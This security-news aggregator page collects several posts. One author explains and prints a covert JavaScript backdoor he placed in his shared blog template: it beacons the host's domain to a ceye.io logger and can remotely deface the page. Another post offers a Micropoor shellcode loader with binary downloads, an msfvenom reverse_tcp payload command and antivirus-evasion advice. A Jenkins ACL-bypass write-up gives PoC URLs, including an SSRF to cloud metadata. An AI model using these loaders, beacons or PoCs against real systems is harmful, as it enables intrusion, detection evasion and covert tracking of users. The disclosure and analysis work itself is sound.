Aggregator
Shifting the Burden: Long-term Magnifying Consequences
我为何在博客模板留后门
在前段时间,我在我博客的模板上加入了后门(JavaScript),今天去除,并将思路简单的写出来。
为什么留后门呢?起因:在前不久,团队官网模板就被偷走,很让人生气,抄袭者团队(以下简称为:A)没有打一声招呼就拿走了,但可笑的是A并没有在模板中修改JavaScript文件的外链引用,而是直接使用我们的JavaScript文件,所以简单的利用JS修改了一下其主页,提醒了下他,经过后来A主动与我联系并道歉,这件事情才结束~
让我吃惊的是,这件事之后我发现我博客主题模板被拿走了,是的,不止一个哥们。
我在我的博客项目中说明了https://github.com/gh0stkey/gh0stkey.github.io
个人博客 gh0st.cn 模版来自:https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能(做了一些排版细节上的调整),拿之前告诉我下,谢谢!
因为博客采用的是Github Pages + Jekyll,所以需要依赖于Github的进行托管,模板也就自然而然的可以直接git clone下来,模板也是我进行二次修改的,我觉得起码要尊重下作者,在博客主题或项目之类的进行说明,打声招呼也行,一声不吭的拿走是几个意思……
有个好兄弟说过这样一段话,望周知:
参考别人的研究成果,注明来源是基本素质,每个人都应该构建一个和谐积极向上的氛围,知道的人不愿意分享的原因就是不被别人认可,互相认可才能进步,现在理解一些师傅的苦衷了,挺悲哀的。请各位在以后的学习生涯上,尊重别人的分享,认可他人,互相感染才能进步。
关于后门我是一个“重度洁癖患者”,不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门,这对我来说是一件带有“大污点”的事情,所以思考了很久决定加上后门。
后门的构建 JavaScript 后门模板后门选择的是JavaScript外链引用,而JavaScript的内容构建步骤如下:
1.判断是否是自己的域名(这个正则写的不严谨是可以被绕过的,例如:gh0st.cn.bypass.cn):
var host = document.location.host; //获取host var reg = new RegExp(/gh0st.cn/); //创建正则 var isok = reg.test(host); //匹配结果:False\True if(!isok){//判断 ...code }2.触发式:在一个Web服务上添加了isopen.txt这个文件,内容为NO则不触发,内容为YES则触发。(选择触发式的原因是因为博客上线有本地调试这一环节,如果在本地就触发了,那岂不是得不偿失,没有造成什么直接损害~)
var xhr = new XMLHttpRequest(); //创建XMLHttpRequest xhr.onreadystatechange=function(){ //请求成功则触发 if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES,如果是则进行下一步 document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改 } } xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt xhr.send(null);3.既然选择了触发式的后门,那么就需要知道是谁偷了模板,这里利用的是ceye.io这个平台去记录“小偷”的域名和IP之类的东西:
var img = document.createElement("img"); //创建img标签 img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性 img.stytle.display="none"; //设置img标签的样式的display属性为none(表示这个将图片隐藏) document.body.appendChild(img); //在DOM节点(body)内加入img标签4.在博客模板的header.html中引用了外部的JS地址<script src="http://webserver/xxx.js">
完整代码如下:
var host = document.location.host; var reg = new RegExp(/gh0st.cn/); var isok = reg.test(host); if(!isok){ var img = document.createElement("img"); img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; img.stytle.display="none"; document.body.appendChild(img); var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function(){ if(xhr.responseText == "YES"){ document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); } } xhr.open("GET","http://webserver/isopen.txt",true); xhr.send(null); } Python 监控利用ceye.io这个平台的API去实时监控,并且使用邮件发信通知。
导入Python模块 && 全局变量:
import smtplib,requests,json,urlparse,sys from email.MIMEText import MIMEText from email.Utils import formatdate from email.Header import Header log = {}1.163邮件发信:
def send_mail(domain,ip): smtpHost = 'smtp.163.com' smtpPort = '25' fromMail = '邮箱账户' toMail = '邮箱账户,收信方' username = '邮箱账户' password = '邮箱密码' reload(sys) sys.setdefaultencoding('utf8') subject = u'博客监控到有人偷模板!' body = u"[小偷信息]\nDomain: {0} IP: {1}".format(domain,ip) encoding = 'utf-8' mail = MIMEText(body.encode(encoding),'plain',encoding) mail['Subject'] = Header(subject,encoding) mail['From'] = fromMail mail['To'] = toMail mail['Date'] = formatdate() try: smtp = smtplib.SMTP(smtpHost,smtpPort) smtp.ehlo() smtp.login(username,password) smtp.sendmail(fromMail,toMail.split(','),mail.as_string()) print u"邮件已发送,监控信息:" print body except Exception,e: print e print u"发送失败,监控信息:" print body finally: smtp.close()2.ceye.io API调用获取信息,个人中心可以看见API TOKEN,API使用方法:
def dnslog_monitor(): api = "http://api.ceye.io/v1/records?token=你的TOKEN&type=http&filter=myblog" r = requests.get(api) json_data = json.loads(r.text) for i in json_data['data']: query = urlparse.urlparse(i['name']).query sb_domain = dict([(k, v[0]) for k, v in urlparse.parse_qs(query).items()])['domain'] sb_ip = i['remote_addr'] if sb_domain in log: pass else: log[sb_domain] = sb_ip send_mail(sb_domain,sb_ip)3.main函数:
def main(): while True: dnslog_monitor() 后门的运行python脚本挂在服务器跑了一段时间,也发现了一个哥们又拿走了我的博客模板:
让他”用”了一段时间,便将isopen.txt的内容改为了YES(即触发了后门),其后来也与我联系,并进行了和解。
写在最后的话也是因为“重度洁癖”,决定将模板后门去除。望君尊重技术、分享、作者,共勉!
Micropoor_shellcode for payload backdoor
Micropoor_shellcode:
Usage: Micropoor_shellcode port host E.g Micropoor_shellcode.exe 4444 192.168.1.5
Generate payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=53 -b '\x00' -f c |grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
copy shellcode to Micropoor_box.rb
Micropoor_shellcode_x64.exe: 大小: 136192 字节 修改时间: 2019年1月22日, 4:40:59 MD5: 304F3C23AD6C57714EDB73D93DA6813D SHA1: 63B213272AADA91A44F965741E3720EE25CAF7C9 CRC32: 4C2FDE0A https://drive.google.com/open?id=14HapmSXQtb-HpnXeO3MUEf2utwKfkhOa
Micropoor_shellcode_x86.exe: 大小: 117248 字节 修改时间: 2019年1月22日, 2:45:50 MD5: D91444F0A632DEE7F57BAE432CEFFAEC SHA1: 3D5135FE30FBEFD090B6BBB1F7738DB25B0C2CCC CRC32: 02BE2833 https://drive.google.com/open?id=15GqGl5KgfVpEkCBItrmqddpDxmXzFG6m
Micropoor_shellcode.rb 大小: 956 字节 修改时间: 2019年1月22日, 3:13:17 MD5: 9A82AB2C3A39CABC26FC68864DB07BA1 SHA1: 92D6253C88BA10073CD3AAEE8C38C366DFC7761F CRC32: 97FA3861 https://drive.google.com/open?id=17uv2Mszu4et3Co1HWQ50mMZiPCL7Ku9F
目前搜集问题总结:
问题1:程序崩溃:
shellcode分离加载器分为x86,x64,版本。请对应相关的Micropoor_shellcode.exe。
这里需注意,msfvenom的payload其中windows/messagebox,是分x64与x86的,只是msfvenom本身仅提供了x86版本的shellcode。所以如果需运行messagebox,需要调用Micropoor_shellcode_x86.exe。
程序崩溃2:
如果生成x86或者x64的shellcode,那么msf本身请对应相关位数的payload。
问题2:被查杀:
了解用法后,请去掉Micropoor的字符串字样,或者更改其他字符串即可。
由一则敏感文档泄露事件溯源说起
How to Takedown 100,000 Malware Sites
docker搭建复现环境
Iwebshop sql注入
iwebshop最新版存在一个非常弱智的注入漏洞
Fighting Back Against Phishing and Fraud—Part 1
Fighting Back Against Phishing and Fraud—Part 1
Fighting Back Against Phishing and Fraud—Part 1
A Deep Dive into Point of Sale Security
think5审计与调试技巧1
Thinkphp >= 5.0.23 RCE 分析
起因是刚出来那天刚好有个站是 5.0.23 但是分析文章没给完整的截图, 打了码. 干脆自己分析一波写写 poc.
蜻蜓之眼——大四上学期总结
蜻蜓之眼——大四上学期总结
If I Had to Do It Over Again
If I Had to Do It Over Again
If I Had to Do It Over Again
Hacking Jenkins Part 1 - Play with Dynamic Routing (EN)
In software engineering, the Continuous Integration and Continuous Delivery is a best practice for developers to reduce routine works. In the CI/CD, the most well-known tool is Jenkins. Due to its ease of use, awesome Pipeline system and integration of Container, Jenkins is also the most widely used CI/CD application in the world. According to the JVM Ecosystem Report by Snyk in 2018, Jenkins held about 60% market share on the survey of CI/CD server.
For Red Teamers, Jenkins is also the battlefield that every hacker would like to control. If someone takes control of the Jenkins server, he can gain amounts of source code and credential, or even control the Jenkins node! In our DEVCORE Red Team cases, there are also several cases that the whole corporation is compromised from simply a Jenkins server as our entry point!
This article is mainly about a brief security review on Jenkins in the last year. During this review, we found 5 vulnerabilities including:
- CVE-2018-1999002 - Arbitrary file read vulnerability
- CVE-2018-1000600 - CSRF and missing permission checks in GitHub Plugin
- CVE-2018-1999046 - Unauthorized users could access agent logs
- CVE-2018-1000861 - Code execution through crafted URLs
- CVE-2019-1003000 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003001 - Sandbox Bypass in Script Security and Pipeline Plugins
- CVE-2019-1003002 - Sandbox Bypass in Script Security and Pipeline Plugins
Among them, the more discussed one is the vulnerability CVE-2018-1999002. This is an arbitrary file read vulnerability through an unusual attack vector! Tencent YunDing security lab has written a detailed advisory about that, and also demonstrated how to exploit this vulnerability from arbitrary file reading to RCE on a real Jenkins site which found from Shodan!
However, we are not going to discuss that in this article. Instead, this post is about another vulnerability found while digging into Stapler framework in order to find a way to bypass the least privilege requirement ANONYMOUS_READ=True of CVE-2018-1999002! If you merely take a look at the advisory description, you may be curious – Is it reality to gain code execution with just a crafted URL?
From my own perspective, this vulnerability is just an Access Control List(ACL) bypass, but because this is a problem of the architecture rather than a single program, there are various ways to exploit this bug! In order to pay off the design debt, Jenkins team also takes lots of efforts (patches in Jenkins side and Stapler side) to fix that. The patch not only introduces a new routing blacklist and whitelist but also extends the original Service Provider Interface (SPI) to protect Jenkins’ routing. Now let’s figure out why Jenkins need to make such a huge code modification!
This is not a complete code review (An overall security review takes lots of time…), so this review just aims at high impact bugs. The review scope includes:
- Jenkins Core
- Stapler Web Framework
- Suggested Plugins
During the installation, Jenkins asks whether you want to install suggested plugins such as Git, GitHub, SVN and Pipeline. Basically, most people choose yes, or they will get an inconvenient and hard-to-use Jenkins.
Because the vulnerability is an ACL bypass, we need to introduce the privilege level in Jenkins first! In Jenkins, there are different kinds of ACL roles, Jenkins even has a specialized plugin Matrix Authorization Strategy Plugin(also in the suggested plugin list) to configure the detailed permission per project. From an attacker’s view, we roughly classify the ACL into 3 types:
1. Full AccessYou can fully control Jenkins. Once the attacker gets this permission, he can execute arbitrary Groovy code via Script Console!
print "uname -a".execute().textThis is the most hacker-friendly scenario, but it’s hard to see this configuration publicly now due to the increase of security awareness and lots of bots scanning all the IPv4.
2. Read-only ModeThis can be enabled from the Configure Global Security and check the radio box:
Allow anonymous read access
Under this mode, all contents are visible and readable. Such as agent logs and job/node information. For attackers, the best benefit of this mode is the accessibility of a bunch of private source codes! However, the attacker cannot do anything further or execute Groovy scripts!
Although this is not the default setting, for DevOps, they may still open this option for automations. According to a little survey on Shodan, there are about 12% servers enabled this mode! We will call this mode ANONYMOUS_READ=True in the following sections.
3. Authenticated ModeThis is the default mode. Without a valid credential, you can’t see any information! We will use ANONYMOUS_READ=False to call this mode in following sections.
To explain this vulnerability, we will start with Jenkins’ Dynamic Routing. In order to provide developers more flexibilities, Jenkins uses a naming convention to resolve the URL and invoke the method dynamically. Jenkins first tokenizes all the URL by /, and begins from jenkins.model.Jenkins as the entry point to match the token one by one. If the token matches (1)public class member or (2)public class method correspond to following naming conventions, Jenkins invokes recursively!
- get<token>()
- get<token>(String)
- get<token>(Int)
- get<token>(Long)
- get<token>(StaplerRequest)
- getDynamic(String, …)
- doDynamic(…)
- do<token>(…)
- js<token>(…)
- Class method with @WebMethod annotation
- Class method with @JavaScriptMethod annotation
It looks like Jenkins provides developers a lot of flexibility. However, too much freedom is not always a good thing. There are two problems based on this naming convention!
1. Everything is the Subclass of java.lang.ObjectIn Java, everything is a subclass of java.lang.Object. Therefore, all objects must exist the method - getClass(), and the name of getClass() just matches the naming convention rule #1! So the method getClass() can be also invoked during Jenkins dynamic routing!
2. Whitelist BypassAs mentioned before, the biggest difference between ANONYMOUS_READ=True and ANONYMOUS_READ=False is, if the flag set to False, the entry point will do one more check in jenkins.model.Jenkins#getTarget(). The check is a white-list based URL prefix check and here is the list:
private static final ImmutableSet<String> ALWAYS_READABLE_PATHS = ImmutableSet.of( "/login", "/logout", "/accessDenied", "/adjuncts/", "/error", "/oops", "/signup", "/tcpSlaveAgentListener", "/federatedLoginService/", "/securityRealm", "/instance-identity" );That means you are restricted to those entrances, but if you can find a cross reference from the white-list entrance jump to other objects, you can still bypass this URL prefix check! It seems a little bit hard to understand. Let’s give a simple example to demonstrate the dynamic routing:
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/contentThe above URL will invoke following methods in sequence!
jenkins.model.Jenkins.getAdjuncts("whatever") .getClass() .getClassLoader() .getResource("index.jsp") .getContent()This execution chain seems smooth, but sadly, it can not retrieve the result. Therefore, this is not a potential risk, but it’s still a good case to understand the mechanism!
Once we realize the principle, the remaining part is like solving a maze. jenkins.model.Jenkins is the entry point. Every member in this object can references to a new object, so our work is to chain the object layer by layer till the exit door, that is, the dangerous method invocation!
By the way, the saddest thing is that this vulnerability cannot invoke the SETTER, otherwise this would definitely be another interesting classLoader manipulation bug just like Struts2 RCE and Spring Framework RCE!!
How to exploit? In brief, the whole thing this bug can achieve is to use cross reference objects to bypass ACL policy. To leverage it, we need to find a proper gadget so that we can invoke the object we prefer in this object-forest more conveniently! Here we choose the gadget:
/securityRealm/user/[username]/descriptorByName/[descriptor_name]/The gadget will invoke following methods sequencely.
jenkins.model.Jenkins.getSecurityRealm() .getUser([username]) .getDescriptorByName([descriptor_name])In Jenkins, all configurable objects will extend the type hudson.model.Descriptor. And, any class who extends the Descriptor type is accessible by method hudson.model.DescriptorByNameOwner#getDescriptorByName(String). In general, there are totally about 500 class types can be accessed! But due to the architecture of Jenkins. Most developers will check the permission before the dangerous action again. So even we can find a object reference to the Script Console, without the permission Jenkins.RUN_SCRIPTS, we still can’t do anything :(
Even so, this vulnerability can still be considered as a stepping stone to bypass the first ACL restriction and to chain other bugs. We will show 3 vulnerability-chains as our case study! (Although we just show 3 cases, there are more than 3! If you are intersted, it’s highly recommended to find others by yourself :P )
P.S. It should be noted that in the method getUser([username]), it will invoke getOrCreateById(...) with create flag set to True. This result to the creation of a temporary user in memory(which will be listed in the user list but can’t sign in). Although it’s harmless, it is still recognized as a security issue in SECURITY-1128.
While testing Jenkins, it’s a common scenario that you want to perform a brute-force attack but you don’t know which account you can try(a valid credential can read the source at least so it’s worth to be the first attempt).
In this situation, this vulnerability is useful! Due to the lack of permission check on search functionality. By modifying the keyword from a to z, an attacker can list all users on Jenkins!
PoC: http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]Also, this vulnerability can be also chained with SECURITY-514 which reported by Ananthapadmanabhan S R to leak user’s email address! Such as:
http://jenkins.local/securityRealm/user/admin/api/xmlThe next bug is CVE-2018-1000600, this bug is reported by Orange Tsai(Yes, it’s me :P). About this vulnerability, the official description is:
CSRF vulnerability and missing permission checks in GitHub Plugin allowed capturing credentials
It can extract any stored credentials with known credentials ID in Jenkins. But the credentials ID is a random UUID if there is no user-supplied value provided. So it seems impossible to exploit this?(Or if someone know how to obtain credentials ID, please tell me!)
Although it can’t extract any credentials without known credentials ID, there is still another attack primitive - a fully-response SSRF! We all know how hard it is to exploit a Blind SSRF, so that’s why a fully-responded SSRF is so valuable!
PoC: http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsaiPLEASE DON’T BULLSHIT, WHERE IS THE RCE!!!
In order to maximize the impact, I also find an INTERESTING remote code execution can be chained with this vulnerability to a well-deserved pre-auth RCE! But it’s still on the responsible disclosure process. Please wait and see the Part 2! (Will be published on February 19th :P)
Here is my todo list which can make this vulnerability more perfect. If you find any of them please tell me, really appreciate it :P
- Get the Plugin object reference under ANONYMOUS_READ=False. If this can be done, it can bypass the ACL restriction of CVE-2018-1999002 and CVE-2018-6356 to a indeed pre-auth arbitrary file reading!
- Find another gadget to invoke the method getDescriptorByName(String) under ANONYMOUS_READ=False. In order to fix SECURITY-672, Jenkins applies a check on hudson.model.User to ensure the least privilege Jenkins.READ. So the original gadget will fail after Jenkins version 2.138.
Thanks Jenkins Security team especially Daniel Beck for the coordination and bug fixing! Here is the brief timeline:
- May 30, 2018 - Report vulnerabilities to Jenkins
- Jun 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1000600
- Jul 18, 2018 - Jenkins patched the bug and assigned CVE-2018-1999002
- Aug 15, 2018 - Jenkins patched the bug and assigned CVE-2018-1999046
- Dec 05, 2018 - Jenkins patched the bug and assigned CVE-2018-1000861
- Dec 20, 2018 - Report Groovy vulnerability to Jenkins
- Jan 08, 2019 - Jenkins patched Groovy vulnerability and assigned CVE-2019-1003000, CVE-2019-1003001 and CVE-2019-1003002